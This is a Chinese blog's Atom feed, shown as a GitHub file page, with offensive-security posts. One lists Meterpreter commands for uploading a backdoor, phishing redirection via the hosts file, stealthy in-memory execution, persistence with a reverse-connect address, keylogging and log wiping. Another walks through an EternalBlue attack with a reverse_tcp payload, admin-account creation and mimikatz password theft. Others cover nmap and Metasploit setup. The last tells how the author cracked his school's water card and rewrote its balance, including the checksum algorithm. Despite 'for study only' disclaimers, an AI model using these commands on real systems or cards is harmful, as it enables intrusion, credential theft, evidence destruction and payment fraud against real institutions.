Repository navigation
Expand file tree
/
Copy pathatom.xml
More file actions
424 lines (262 loc) · 154 KB
/
Copy pathatom.xml
File metadata and controls
424 lines (262 loc) · 154 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Echo's Blog</title>
<icon>https://www.gravatar.com/avatar/0da890de313b4fc26839f3e63151f8b6</icon>
<subtitle>在运维的道路上越走越远</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://www.deops.cn/"/>
<updated>2018-12-16T13:05:43.834Z</updated>
<id>http://www.deops.cn/</id>
<author>
<name>Echo</name>
<email>2461590502@qq.com</email>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>meterpreter会话渗透利用常用的32个命令归纳</title>
<link href="http://www.deops.cn//posts/ea141142/"/>
<id>http://www.deops.cn//posts/ea141142/</id>
<published>2018-12-16T11:45:20.000Z</published>
<updated>2018-12-16T13:05:43.834Z</updated>
<content type="html"><![CDATA[<p><strong>仅作渗透测试技术试验之用,请勿针对任何未授权网络和设备</strong><br><a id="more"></a></p><p><strong>1、background命令</strong><br>返回,把meterpreter后台挂起<br><strong>2、session命令</strong><br>session命令可以查看已经成功获取的会话<br>可以使用session -i连接到指定序号的meterpreter会话以继续利用<br><strong>3、shell命令</strong><br>获取目标主机的远程命令shell<br>如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试<br><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx3.sinaimg.cn/mw690/006ALkzYgy1fy8tyn8gkij30gb03t403.jpg" alt="" title=""> </div> <div class="image-caption"></div> </figure><br><strong>4、cat命令</strong><br>查看目标主机上的文档内容<br>例如:cat C:\boot.ini查看目标主机的启动引导信息<br><strong>5、getwd命令</strong><br>获取系统工作的当前目录<br><strong>6、upload命令</strong><br>上传文件到目标主机,例如把后门程序setup.exe传到<code>system32</code>目录下<br><code>meterpreter> upload setup.exe C:\\windows\\system32\</code><br><strong>7、download命令</strong><br>把目标主机上的文件下载到我们的攻击机上<br><code>download C:\boot.ini /root/</code><br><strong>8、edit命令</strong><br>调用vi编辑器,对目标主机上的文件修改<br>例如修改目标主机上的<code>host</code>文件,使目标主机访问baidu时去到准备好的钓鱼网站<br><strong>9、search命令</strong><br>在目标主机文件系统上查找搜索文件<br>例如:search -d c:\ -f *.doc<br><strong>10、ipconfig</strong><br>我略。。。<br><strong>11、portfwd命令</strong><br>端口转发<br>例如目标主机上开启了3390,但是只允许特定ip访问,攻击机无法连接,可以使用portfwd命令把目标主机的3389端口转发到其他端口打开</p><blockquote><p>例如:portfwd add -l 1122 -p 3389 -r 192.168.1.2</p></blockquote><p>把目标主机192.168.1.2的3389端口转发到1122端口<br>这时只需要连接目标的1122端口就可以打开远程桌面了<br>rdesktop -u administrator -p Abc123456 192.168.1.2:1122<br><strong>12、route命令</strong><br>略。。。<br><strong>13、getuid</strong><br>查看meterpreter注入到目标主机的进程所属用户<br><strong>14、sysinfo</strong><br>查看目标主机系统信息<br><strong>15、ps命令</strong><br>查看目标主机上运行的进程信息<br><strong>16、migrate</strong><br>将meterpreter会话移植到另一个进程<br>例如反弹的meterpreter会话是对方打开了一个你预置特殊代码的Word文档而产生的,那么对方一旦关闭掉该Word文档,我们获取到meterpreter会话也随之关闭,所以把会话注入到explorer.exe是一个好方法<br>可以先用ps命令看一下目标主机的explorer.exe进程的pid</p><blockquote><p>例如<br>migrate 1668<br>把meterpreter会话注入进去pid为1688进程的explorer.exe</p></blockquote><p><strong>17、execute命令</strong><br>在目标主机上运行某个程序<br>例如我们运行一下目标主机上的记事本程序<br><code>execute -f notepad.exe</code><br>目标主机立马弹出一个记事本程序<br>这样太明显,如果希望隐藏后台执行,加参数-H<br><code>execute -H -f notepad.exe</code><br>此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了<br>再看一个,我们运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上<br>命令:<br><code>execute -H -i -f cmd.exe</code><br>这达到的效果就跟使用shell命令一样了</p><p>再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。<br><code>execute -H -m -d notepad.exe -f wce.exe -a "-o wce.txt"</code><br>-d 在目标主机执行时显示的进程名称(用以伪装)<br>-m 直接从内存中执行<br>“-o wce.txt”是wce.exe的运行参数</p><p><strong>18、getpid</strong><br>获取meterpreter会话在目标主机上注入进程的进程号</p><p><strong>19、调用post/windows/gather/checkvm后渗透模块,确定目标主机是否是一台虚拟机</strong></p><blockquote><p>run post/windows/gather/checkvm</p></blockquote><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx1.sinaimg.cn/mw690/006ALkzYgy1fy8vg3iir3j30ee02rjse.jpg" alt="" title=""> </div> <div class="image-caption"></div> </figure><p><strong>20、persistence后渗透模块向目标主机植入后门程序</strong></p><blockquote><p>run persistencce -X -i 5 -p 4444 -r 192.169.23.124<br>-X 在目标主机上开机自启动<br>-i 不断尝试反向连接的时间间隔</p></blockquote><p><strong>21、调用getgui后渗透攻击模块</strong><br>作用:开启目标主机远程桌面,并可添加管理员组账号<br>命令:<br><code>run getgui -e</code><br>开启目标主机的远程桌面服务后,可以添加账号以便利用<br>命令:<br><code>run getgui -u kali -p 123456</code><br>执行成功,可以使用kali的rdesktop命令使用远程桌面连接目标主机<br><code>rdesktop -u kali -p meterpreter 192.168.250.176:3389</code></p><p><strong>22、提权命令getsysem</strong></p><p><strong>23、键盘记录器功能keyscan</strong><br>keyscan_start 开启记录目标主机的键盘输入<br>keyscan_dump 输出截获的目标键盘输入字符信息<br>keyscan_stop 停止键盘记录</p><p><strong>24、clearev命令</strong><br>入侵痕迹擦除<br>在渗透利用过程中难免留下日志等信息痕迹,使用clearev命令擦除后再跑</p><p>。。。。</p>]]></content>
<summary type="html">
<p><strong>仅作渗透测试技术试验之用,请勿针对任何未授权网络和设备</strong><br>
</summary>
<category term="kali" scheme="http://www.deops.cn/tags/kali/"/>
<category term="msf" scheme="http://www.deops.cn/tags/msf/"/>
</entry>
<entry>
<title>nmap使用指南</title>
<link href="http://www.deops.cn//posts/4a2cdcee/"/>
<id>http://www.deops.cn//posts/4a2cdcee/</id>
<published>2018-12-16T10:34:57.000Z</published>
<updated>2018-12-16T11:43:52.209Z</updated>
<content type="html"><![CDATA[<figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx4.sinaimg.cn/mw690/006ALkzYgy1fy8rqbvpp5j30i20b4dlg.jpg" alt="" title=""> </div> <div class="image-caption"></div> </figure><a id="more"></a><p>-sC 是指的是采用默认配置扫描,与–script=default参数等价</p><p>–script=脚本名称,脚本一般都在<strong>Nmap的安装目录下的scripts目录中</strong><br>那么Linux下可以查看脚本数量:</p><blockquote><p>ls /usr/share/nmap/scripts/ | wc -l</p></blockquote><p>那么我当前的Nmap是有516个很使用的漏洞利用、工具脚本。也可以使用下面一条命令导出 ~</p><blockquote><p>ls /usr/share/nmap/scripts/ | sed ‘s/.nse//‘ > scripts.list</p></blockquote><h4 id="实战"><a href="#实战" class="headerlink" title="实战"></a>实战</h4><p>现在我们用一个很简单的脚本,telnet爆破脚本,我们搜索一下:</p><blockquote><p>root@ThundeRobot:/usr/share/nmap# ls /usr/share/nmap/scripts/ | grep telnet<br>telnet-brute.nse<br>telnet-encryption.nse</p></blockquote>]]></content>
<summary type="html">
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="https://wx4.sinaimg.cn/mw690/006ALkzYgy1fy8rqbvpp5j30i20b4dlg.jpg" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
</summary>
<category term="kali" scheme="http://www.deops.cn/tags/kali/"/>
<category term="nmap" scheme="http://www.deops.cn/tags/nmap/"/>
</entry>
<entry>
<title>kali工具Metasploit首次启动配置</title>
<link href="http://www.deops.cn//posts/b1114d7a/"/>
<id>http://www.deops.cn//posts/b1114d7a/</id>
<published>2018-12-16T10:17:53.000Z</published>
<updated>2018-12-16T10:32:11.502Z</updated>
<content type="html"><![CDATA[<figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx3.sinaimg.cn/mw690/006ALkzYgy1fy8raezjzpj30zk0go4qp.jpg" alt="" title=""> </div> <div class="image-caption"></div> </figure><a id="more"></a><p>简述</p><p>由于Kali Linux网络服务策略,Kali将不会自启动的网络服务,数据库服务包括在内.所以为了Metasploit以支持数据库的方式启动,需要运行一些必要的步骤.<br><code>官方文档</code><br><code>https://docs.kali.org/general-use/starting-metasploit-framework-in-kali</code></p><h3 id="步骤"><a href="#步骤" class="headerlink" title="步骤"></a>步骤</h3><h4 id="启动PostgreSQL服务"><a href="#启动PostgreSQL服务" class="headerlink" title="启动PostgreSQL服务"></a>启动PostgreSQL服务</h4><p>因为Metasploit 使用PostgreSQL作为数据库,所以必须先启PostgreSQL服务。<br>在命令行下输入下面命令:</p><blockquote><p>service postgresql start</p></blockquote><p>执行成功后,可以通过<code>ss -ant</code>命令查看端口5432是否在侦听,去验证<strong>PostgreSQL</strong>服务是否成功开启。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">State Recv-Q Send-Q Local Address:Port Peer Address:Port </span><br><span class="line">LISTEN 0 128 :::22 :::* </span><br><span class="line">LISTEN 0 128 *:22 *:* </span><br><span class="line">LISTEN 0 128 127.0.0.1:5432 *:* </span><br><span class="line">LISTEN 0 128 ::1:5432 :::*</span><br></pre></td></tr></table></figure></p><h4 id="初始化Metasploit"><a href="#初始化Metasploit" class="headerlink" title="初始化Metasploit"></a>初始化Metasploit</h4><p><strong>PostgreSQL</strong>运行后,我们需要去新建以及初始化msf<br><code>msfdb init</code></p><h4 id="启动Metasploit"><a href="#启动Metasploit" class="headerlink" title="启动Metasploit"></a>启动Metasploit</h4><p>PostgreSQL服务启动后,现在可以启动msfconsole然后使用命令db_status去验证数据库是否成功连接。<br><code>msfconsole</code><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">msf> db_status </span><br><span class="line"> [*] postgresql connected to msf </span><br><span class="line">msf></span><br></pre></td></tr></table></figure></p><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><p> 到这里,数据已经连接上了,但是我们使用search命令依然会提示使用慢搜索。<br>我们以<strong>ms08-067</strong>为例:</p><blockquote><p>msf> search ms08-067<br>[!] Module database cache not built yet, using slow search<br>提示这个信息,其实Metasploit已经连接上数据库,但是没有建立数据库缓存。</p></blockquote><h4 id="重新构建数据库缓存"><a href="#重新构建数据库缓存" class="headerlink" title="重新构建数据库缓存"></a>重新构建数据库缓存</h4><p>这时,需要重新构建数据库缓存,在msf提示符下执行以下命令:</p><blockquote><p>msf> db_rebuild_cache [*] Purging and rebuilding the module cache In the background..<br>构建缓存会在后台运行,稍等几分钟后,重启msf控制台,即可使用搜索模块了。</p></blockquote><h4 id="设置PostgreSQL服务开机自启"><a href="#设置PostgreSQL服务开机自启" class="headerlink" title="设置PostgreSQL服务开机自启"></a>设置PostgreSQL服务开机自启</h4><p>使用命令<code>update-rc.d postgresql enable</code>将PostgreSQL服务添加至开机启动项中,这样就不用每次使用msf都要开启和PostgreSQL服务了。</p>]]></content>
<summary type="html">
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="https://wx3.sinaimg.cn/mw690/006ALkzYgy1fy8raezjzpj30zk0go4qp.jpg" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
</summary>
<category term="kali" scheme="http://www.deops.cn/tags/kali/"/>
<category term="MSF" scheme="http://www.deops.cn/tags/MSF/"/>
</entry>
<entry>
<title>MSF框架实现"永恒之蓝"的攻击演示</title>
<link href="http://www.deops.cn//posts/af5d3de9/"/>
<id>http://www.deops.cn//posts/af5d3de9/</id>
<published>2018-12-16T08:39:58.000Z</published>
<updated>2018-12-16T10:14:35.088Z</updated>
<content type="html"><![CDATA[<p><strong>仅供技术学习,遵守国家法律,切勿用于非法攻击!</strong><br><a id="more"></a></p><p>作者:myles007<br>原文:<a href="https://www.anquanke.com/post/id/86245" rel="noopener">https://www.anquanke.com/post/id/86245</a></p><h4 id="一、攻击简介"><a href="#一、攻击简介" class="headerlink" title="一、攻击简介"></a>一、攻击简介</h4><p>其实我们这里所说的使用MSF 实现 “永恒之蓝”的快速攻击,就是<strong>利用Metasploit中近期更新的针对ms17-101漏洞的攻击载荷进行攻击获取主机控制权限。我这里简单的记录下整个攻击利用所需要的工具准备、利用过程以及后渗透的一些简单内容。</strong></p><h4 id="二、工具准备"><a href="#二、工具准备" class="headerlink" title="二、工具准备"></a>二、工具准备</h4><h5 id="0x01-nmap环境准备"><a href="#0x01-nmap环境准备" class="headerlink" title="0x01 nmap环境准备"></a>0x01 nmap环境准备</h5><p>(1)请将Nmap安装到当前最新版本(7.40以上);<br>(2)确保 script脚本中包含smb-vuln-ms17-010.nse脚本;<br>在后面扫描检测是需要用到此脚本进行漏洞扫描检查,有关script脚本的存放位置在Nmap安装根目录下的有个“script”目录,直接进入搜索“ms17-010”,存在则无需再下载。 </p><p>(3)相关软件下载<br>nmap下载地址:<a href="https://nmap.org/download.html" rel="noopener">https://nmap.org/download.html</a><br>smb-vuln-ms17-010.nse下载地址:<a href="https://nmap.org/nsedoc/scripts/smb-vuln-ms17-010.html" rel="noopener">https://nmap.org/nsedoc/scripts/smb-vuln-ms17-010.html</a> </p><h5 id="0x02-MSF环境准备"><a href="#0x02-MSF环境准备" class="headerlink" title="0x02 MSF环境准备"></a>0x02 MSF环境准备</h5><p>metasploit 其默认在kali中就自带有整个攻击框架,后续我们对我们简称其为MSF框架。因为我们要用到针对“永恒之蓝”漏洞的攻击,故需要将MSF框架升级到最新版本,至少在4.14.17版本以上。</p><h5 id="0x03-kali环境要求"><a href="#0x03-kali环境要求" class="headerlink" title="0x03 kali环境要求"></a>0x03 kali环境要求</h5><p>建议大家直接使用kali2.0的环境,这样后续进行MSF框架的升级也比较方便,不容易出现各种未知的问题,方面我们后续渗透攻击的展开。<br>(1) 编辑 kali 更新源<br>首先我配置kali的更新源:直接编辑更新源的配置文件“/etc/apt/sources.list” ,然后将下面的源复制进去保存即可。<br>(2)更新 kali系统<br>kali 源更新完后,我们进kali 内核的更新,具体更方法如下。</p><blockquote><p>root@kali:apt-get install linux-headers-$(uname -r)<br>#注:如果报错了的话可以输入这个试试<br>aptitude -r install linux-headers-$(uname -r)</p></blockquote><h5 id="0x04-2-2-2-MSF攻击框架版本要求"><a href="#0x04-2-2-2-MSF攻击框架版本要求" class="headerlink" title="0x04 2.2.2 MSF攻击框架版本要求"></a>0x04 2.2.2 MSF攻击框架版本要求</h5><p>MSF框架版本要求在 4.11.17版本以上</p><h4 id="三、主机发现"><a href="#三、主机发现" class="headerlink" title="三、主机发现"></a>三、主机发现</h4><p>对于主机的发现,我们可以使用的方法很多,这里简单记录和说明几种,供大家共同学习,每个人可根据主机的喜欢选择使用。</p><h5 id="fping"><a href="#fping" class="headerlink" title="fping"></a>fping</h5><p>在kali系统中自带有fping这个扫描工具,有关于主机发现的扫描命令如下。</p><blockquote><p>fping -asg 192.168.1.0/24</p></blockquote><h5 id="nbtscan"><a href="#nbtscan" class="headerlink" title="nbtscan"></a>nbtscan</h5><blockquote><p>nbtscan -r 192.168.1.0/24</p></blockquote><h5 id="nmap"><a href="#nmap" class="headerlink" title="nmap"></a>nmap</h5><p>关于namp 主机发现与扫描功能的强大,我们这里简单了记录几种个人常用的扫描方法。<br>(1) ping 包扫描</p><blockquote><p>nmap -n -sS 192.168.1.0/24<br>(2) 指定端口发现扫描<br>nmap -n -p445 192..168.1.0/24<br>(3) 针对漏洞脚本的定向扫描<br>nmap -n -p445 –script smb-vuln-ms17-010 192.168.1.0/24 –open</p></blockquote><h4 id="四、漏洞扫面"><a href="#四、漏洞扫面" class="headerlink" title="四、漏洞扫面"></a>四、漏洞扫面</h4><p>在确定目标范围中那些主机是存活后,我们可以进行定向445端口的漏洞脚本扫描了,直接找到存在漏洞的目标主机,为后续的MSF攻击提供目标。 </p><p>其实说到这里,大家会发现上面第三章节“主机发现”这一步,我们可以直接跳过,直接进定向445共享端口的漏洞扫描,上面之所以写出了,也是为了自己以后的学习和使用做一个笔记和记录。</p><h5 id="nmap漏洞扫面"><a href="#nmap漏洞扫面" class="headerlink" title="nmap漏洞扫面"></a>nmap漏洞扫面</h5><p>MS17-101漏洞定向扫描命令如下:</p><blockquote><p>nmap -n -p445 –script smb-vuln-ms17-010 192.168.1.0/24 –open</p></blockquote><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx3.sinaimg.cn/mw690/006ALkzYgy1fy8q61as5fj30xa0fd15b.jpg" alt="通过namp的445端口定向漏洞扫描发现192.168.23.42存在漏洞" title=""> </div> <div class="image-caption">通过namp的445端口定向漏洞扫描发现192.168.23.42存在漏洞</div> </figure><h5 id="MSF-Auxiliary辅助扫面"><a href="#MSF-Auxiliary辅助扫面" class="headerlink" title="MSF Auxiliary辅助扫面"></a>MSF Auxiliary辅助扫面</h5><p>我们也可以直接使用MSF框架的辅助模块“”auxiliary”中的扫描模块进行扫描。了解MSF的同学肯定都知道,MSF的扫描模块基本也就是调用nmap扫描来实现的。<br><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx4.sinaimg.cn/mw690/006ALkzYgy1fy8qdyn6rqj30us0iralj.jpg" alt="" title=""> </div> <div class="image-caption"></div> </figure></p><blockquote><p>msfconsole # 进入MSF框架<br>version # 确认下MSF的版本<br>search ms17_010 # 查找漏洞模块的具体路径<br>use auxiliary/scanner/smb/smb_ms17_010 # 调用漏洞扫描模块<br>show option # 查看模块配置选项<br>set RHOST 192.168.1.1-254 # 配置扫描目标<br>set THREADS 30 #配置扫描线程<br>run #运行脚本</p></blockquote><p>这个使用下来,我们发现其实还没有namp 一条命令就搞定了,来的方便。</p><h4 id="五、漏洞利用"><a href="#五、漏洞利用" class="headerlink" title="五、漏洞利用"></a>五、漏洞利用</h4><p>通过以上所有环境的准备和漏洞扫描主机的发现,接下来使用MSF框架进行MS17-10漏洞的攻击,也就是“几秒”中的事情了,具体使用方法和过程记录如下。</p><h5 id="ms17-010-漏洞利用之MSF使用方法"><a href="#ms17-010-漏洞利用之MSF使用方法" class="headerlink" title="ms17-010 漏洞利用之MSF使用方法"></a>ms17-010 漏洞利用之MSF使用方法</h5><blockquote><p>msfconsole # 进入MSF 框架<br>version # 确保MSF框架版本在 4.14.17以上;<br>search ms17_010 # 漏洞模块路径查询<br>set exploit/windows/smb/ms17_010_eternalblue # 调用攻击模块<br>set RHOST 192.168.1.112 # 设定攻击目标<br>exploit # 发起攻击</p></blockquote><h4 id="六、维持访问"><a href="#六、维持访问" class="headerlink" title="六、维持访问"></a>六、维持访问</h4><p>这里的说到维持访问,主要是想记录下关于使用<code>meterpreter</code>这个攻击载荷模块,我们在利用漏洞的过程中,如果可以使用<code>meterpreter</code>攻击载荷模块,尽量使用这个模块。</p><h5 id="理论-payload-攻击载荷理论"><a href="#理论-payload-攻击载荷理论" class="headerlink" title="[理论]payload 攻击载荷理论"></a>[理论]payload 攻击载荷理论</h5><p>说到这里就就普及下MSF框架下关于“payload”攻击载荷的基本概念,那么什么是payload呢?<br>payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,并返回一个shell,也可以进行程序注入等,payload有3种类型。 </p><h5 id="理论-single(独立载荷)"><a href="#理论-single(独立载荷)" class="headerlink" title="[理论]single(独立载荷)"></a>[理论]single(独立载荷)</h5><p>从这个英文单词single,就可以大概知道这类payload是个独立,单独的意思,其实在结合定义我们就可以看出,攻击载荷一般做两件事情<br>一、就是建立目标主机与攻击主机之间的网络连接;<br>二、就是在连接建立的基础上获取目标主机的控制权限,即获取可供操作的shell。</p><h5 id="理论-stagers(传输器载荷)"><a href="#理论-stagers(传输器载荷)" class="headerlink" title="[理论]stagers(传输器载荷)"></a>[理论]stagers(传输器载荷)</h5><p>在理解了一个完整的payload是有两部分组成的基础上,我们可以理解我们这里所说的结合体了,其实就是将原本的single独立体分割为了两个部分:“传输器载荷”与“传输体载荷”(stages & stagers)<br>比如“windows/meterpreter/reverse_tcp”是由一个传输器载荷(reverse_tcp)和一个传输体载荷(meterpreter)所组成的,其功能等价于独立攻击载荷“windows/shell_reverse_tcp”</p><h5 id="攻击载荷配置过程"><a href="#攻击载荷配置过程" class="headerlink" title="攻击载荷配置过程"></a>攻击载荷配置过程</h5><p>调用exploit攻击</p><blockquote><p>use exploit/windows/smb/ms17_010_eternalblue<br>set rhost 192.168.1.112</p></blockquote><p>配置攻击载荷</p><blockquote><p>set payload windows/x64/meterpreter/reverse_tcp<br>set lhost 192.168.1.22</p></blockquote><p>发起攻击</p><blockquote><p>exploit</p></blockquote><p>获取shell</p><blockquote><p>getuid</p></blockquote><h5 id="meterpreter功能展现"><a href="#meterpreter功能展现" class="headerlink" title="meterpreter功能展现"></a>meterpreter功能展现</h5><h6 id="桌面抓图"><a href="#桌面抓图" class="headerlink" title="桌面抓图"></a>桌面抓图</h6><blockquote><p>meterpreter> screenshot</p></blockquote><h6 id="视频开启"><a href="#视频开启" class="headerlink" title="视频开启"></a>视频开启</h6><blockquote><p>meterpreter> webcam_scream</p></blockquote><h6 id="开启远程桌面"><a href="#开启远程桌面" class="headerlink" title="开启远程桌面"></a>开启远程桌面</h6><blockquote><p>meterpreter> run post/windows/manage/enable_rdp</p></blockquote><h6 id="添加管理员账号"><a href="#添加管理员账号" class="headerlink" title="添加管理员账号"></a>添加管理员账号</h6><blockquote><p>shell<br>net user test 123456 /add<br>net localgroup Administrators test /add</p></blockquote><p>… # 一直没有回显,怀疑是由于安装了360导致的,后来进过验证的确是这原因,所有说安装个360还是很有用的,不要总是说人家是流氓软件,不是打广告哈,切实感受…</p><h5 id="获取系统管理员密码"><a href="#获取系统管理员密码" class="headerlink" title="获取系统管理员密码"></a>获取系统管理员密码</h5><p>想直接添加账号进行提权,前面操作是不了,那么我们现在就出杀手锏,直接使用mimikatz来获取系统管理账号的密码。 </p><p>第一步:载入mimikatz</p><blockquote><p>meterpreter> load mimikatz<br>meterpreter> wdigest</p></blockquote><h6 id="kali远程连接Windows"><a href="#kali远程连接Windows" class="headerlink" title="kali远程连接Windows"></a>kali远程连接Windows</h6><blockquote><p>root# rdesktop 192.168.1.22 -u user -p passw0rd</p></blockquote>]]></content>
<summary type="html">
<p><strong>仅供技术学习,遵守国家法律,切勿用于非法攻击!</strong><br>
</summary>
<category term="网络安全" scheme="http://www.deops.cn/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
<category term="kali" scheme="http://www.deops.cn/tags/kali/"/>
<category term="MSF" scheme="http://www.deops.cn/tags/MSF/"/>
</entry>
<entry>
<title>RFID安全之关于某校水卡的破解</title>
<link href="http://www.deops.cn//posts/2468d0a2/"/>
<id>http://www.deops.cn//posts/2468d0a2/</id>
<published>2018-10-29T01:11:16.000Z</published>
<updated>2018-12-07T07:26:44.639Z</updated>
<content type="html"><![CDATA[<p><strong>仅作技术研究与交流,请勿用于非法用途,否则后果自负</strong><br><a id="more"></a></p><p>最近天气比较凉,想洗点热水澡,无奈两个宿舍供用一张热水卡,很快就刷完余额了。然后一想到又要冲饭卡吃饭又要冲水卡洗澡,学校的物价还贼鸡儿贵,像我这种是穷逼的日子是越来越不好过了。<br>然后……<br>我有个大胆想法(手动滑稽)<br>来次社区送温暖</p><hr><p>现在关于RFID技术的文章在网上已经不少了,百度一搜一大堆。然后这次我也来写一篇关于学校热水卡的破解。</p><h4 id="实际安全测试"><a href="#实际安全测试" class="headerlink" title="#实际安全测试"></a>#实际安全测试</h4><p><strong>工具:</strong><br>ACR122U-A9读卡器,某宝100多块钱有点贵;<br>入门的话可以选择便宜很多的<code>PN532</code>无线模块开发板,某宝50块钱不到;<br>电脑的话Windows或者Linux都可以;<br>准备:根据卡片信息查找相关信息、四周无人、刷卡器周围是否有网线、判断水卡类型<br>一张可用的水卡+一张没有数据的UID白卡;</p><p><strong>1. 首先读取水卡,判断水卡类型 和 读取基本内容</strong><br>我这里推荐使用Linux来破解,之前弄RFID的时候,发现很多win下的工具无法写入,不知道为什么,看来还是LInux下的东西比较靠谱点。<br>直接将ACR122U插入电脑,让kali连接,使用<code>mfoc</code>命令读取卡片的内容</p><blockquote><p>mfoc -O -k ffffffffffff card.mfd<br>-O,读取并导出保存到card.mfd,-k ff…,使用默认密钥来破译加密内容</p></blockquote><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx1.sinaimg.cn/mw690/006ALkzYgy1fwp1w5mgl9j30kx0dfdky.jpg" alt="" title=""> </div> <div class="image-caption"></div> </figure><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx4.sinaimg.cn/mw690/006ALkzYgy1fwp2769z25j30l80dy44u.jpg" alt="" title=""> </div> <div class="image-caption"></div> </figure><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx2.sinaimg.cn/mw690/006ALkzYgy1fwp29htm25j30pp0ijthe.jpg" alt="" title=""> </div> <div class="image-caption"></div> </figure><p>导出后使用<code>hexdump</code>命令查看数据并分析</p><blockquote><p>hexdump card.mfd</p></blockquote><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx4.sinaimg.cn/mw690/006ALkzYgy1fwp2joqjtpj30pz0eg7aj.jpg" alt="" title=""> </div> <div class="image-caption"></div> </figure><p>很幸运,我们学校的的水卡加密很简单,单区间加密<br>破解到这里基本已经完成了,知道密码就可以完全复制一张出来了<br>但是,好奇心使我想继续研究下去,前面那些完全没有技术含量,</p><p><strong>2. 数据分析及修改</strong><br>RFID的破解都只是铺垫,数据修改才是整个过程最有趣的地方,因为每种卡片的数据算法不一样,网络上的数据分析只能提供参考,不能直接得出数据的算法。只能通过多次导出数据,对比变化的数据猜测寻找出具体的算法。<br>数据分析需要进过多次比较分析,寻找比较找出正确的规律,我这次大大小小肝了一个星期的时间才完成了分析,真实难受<br>进过多次刷卡后,对比变化的数据如下:<br><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx1.sinaimg.cn/mw690/006ALkzYgy1fwp40axvtnj30qo0i2wg7.jpg" alt="" title=""> </div> <div class="image-caption"></div> </figure><br>对比这两次数据 我发现只有3扇区的1块和2块数据发生了改变</p><p><strong>3. 重点分析3扇区中的数据 涉及变动的有前面的两个字节和最后一个字节</strong><br>因为对十六进制运算不熟悉,所以先直接转换成十进制方便运算找规律,因为金额与数据有关,我也将卡内余额转换成16进制去对比。<br>但是因为有小数点,可以扩大倍数,可以10 100 1000倍–尝试分析。<br>因为我水卡后面有两位小数,按着思维走小数点尝试100倍。<br>首先我这里的余额是86.60元,然后将金额放大100倍8660转16进制后,发现余额是第一和第二字节的倒序,多组数据验证后正确!<br>而最后一个字节,对比数据发现它随着金额的变化而变化,即该字节应该是校验字节<br>校验字节的算法:将余额的值进行异或运,然后取反,即可得到该字节的校验码<br>例如:21 xor D4 = F5 取反 = 28</p><p>尝试修改数据,并验证,可以用winhex打开dump文件修改<br>比如修改成100.00元,用10000然后转16进制–2710–倒序–1027,然后计算校验码即6A<br>保存写入,OK<br><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx2.sinaimg.cn/mw690/006ALkzYgy1fwp55r5t5sj30as0altcg.jpg" alt="随便找张图吧,忘记拍下来了(敷衍)" title=""> </div> <div class="image-caption">随便找张图吧,忘记拍下来了(敷衍)</div> 